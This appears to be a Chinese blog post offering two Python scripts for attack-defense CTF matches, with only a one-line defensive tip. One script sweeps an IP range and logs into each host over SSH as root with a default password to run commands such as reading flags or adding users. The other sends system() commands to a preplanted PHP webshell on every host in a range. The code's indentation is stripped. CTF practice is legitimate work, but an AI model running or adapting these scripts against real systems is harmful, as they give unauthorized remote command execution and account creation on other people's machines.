信息安全比赛线下AWD简单python脚本
0x00 ssh批量登录
如果攻防环节所有队伍的服务器密码都一样,这个脚本可以再别人修改密码之前登录对方靶机并拿到flag。也可以执行别的命令例如user add等,具体怎么用,看你发挥了。(有兴趣的还可以自行添加FTP功能)
所以我们在比赛使登录自己服务器的第一时间一定要修改密码,删除多余用户!!!
# coding: utf-8
# author: Qilinge
# version: python-3.7.3
#此脚本适用于全场服务器的初始用户名和密码都一样的情况,在别人修改默认密码之前快速登录别人主机拿到flag
import paramiko
#使用此脚本需安装paramiko库
def catflag(ip):
try:
ssh=paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ip,username='root',password='qilinge',timeout=1)
#在此处填写比赛方默认的用户名和密码
stdin,stdout,stderr=ssh.exec_command("cat flag*")
#此处填写要执行的命令(可以用命令链接符创建用户等操作)
flag=stdout.readlines()
f=open('flag.txt','a')
f.write("ip:%s,flag:%s\n" %(ip,flag))
#flag.txt记录目标主机的flag
f.close()
ssh.close()
print("打开flag.txt查看flag")
except:
print("用户或密码错误!")
pass
xunhuan = int(input("IP地址第几位循环?"))
if xunhuan==3:
ip1=input("第一位:")
ip2=input("第二位:")
ip4=input("第四位:")
for ip3 in range(0,254):
#根据需要自行调节IP范围 range(x,y)
ip = str(ip1)+"."+str(ip2)+"."+str(ip3)+"."+str(ip4)
print(ip)
catflag(ip)
if xunhuan==4:
ip1=input("第一位:")
ip2=input("第二位:")
ip3=input("第三位:")
for ip4 in range(0,254):
#根据需要自行调节IP范围 range(x,y)
ip = str(ip1)+"."+str(ip2)+"."+str(ip3)+"."+str(ip4)
print(ip)
catflag(ip)
0x01 预留后门利用
一般大学里的比赛,为了照顾萌新,出题人都会在靶机预留webshell。我们登录靶机后把整个web目录download,丢进在D盾检测。如果检测出webshell,这个脚本就派上用场了!
#coding: utf-8
#author: Qilinge
#version:python-3.7.3
#此脚本适用于比赛环境预留有webshell的情况
import requests
#需安装requests库
muma='/1.php'
#木马路径
password='qilinge'
#木马密码
port=80
payload={password:'system(\'type flag*\');'}
#把 type flag* 换成要执行的命令
def request(url,payload):
try:
r=requests.post(url,payload,timeout=1)
if r.status_code==requests.codes.ok:
f=open('webshell_flag.txt','a')
f.write(ip+" flag is : "+r.text+ "\n")
f.close()
print(url+" success! flag is: "+r.text)
else:
print(url+" 密码错误或文件不存在!")
except:
print(url+" 访问不到主机!!!")
xunhuan=int(input("循环的地址是第几段?(3 or 4)"))
if xunhuan==3:
ip1=str(input("请输入第一段IP:"))
ip2=str(input("请输入第二段IP:"))
ip4=str(input("请输入第四段IP:"))
for ip3 in range(0,255):
#range范围内自定义第三段IP范围,根据情况自己调,范围越小效率越高
ip = str(ip1)+"."+str(ip2)+"."+str(ip3)+"."+str(ip4)
url=str("http://"+ip + muma)
request(url,payload)
print("打开webshell_flag.txt查看flag!!!")
else:
ip1=str(input("请输入第一段IP:"))
ip2=str(input("请输入第二段IP:"))
ip3=str(input("请输入第三段IP:"))
for ip4 in range(1,255):
#range范围内自定义第四段IP范围,根据情况自己调,范围越小效率越高
ip = str(ip1)+"."+str(ip2)+"."+str(ip3)+"."+str(ip4)
url=str("http://"+ip + muma)
request(url,payload)
print("打开webshell_flag.txt查看flag!!!")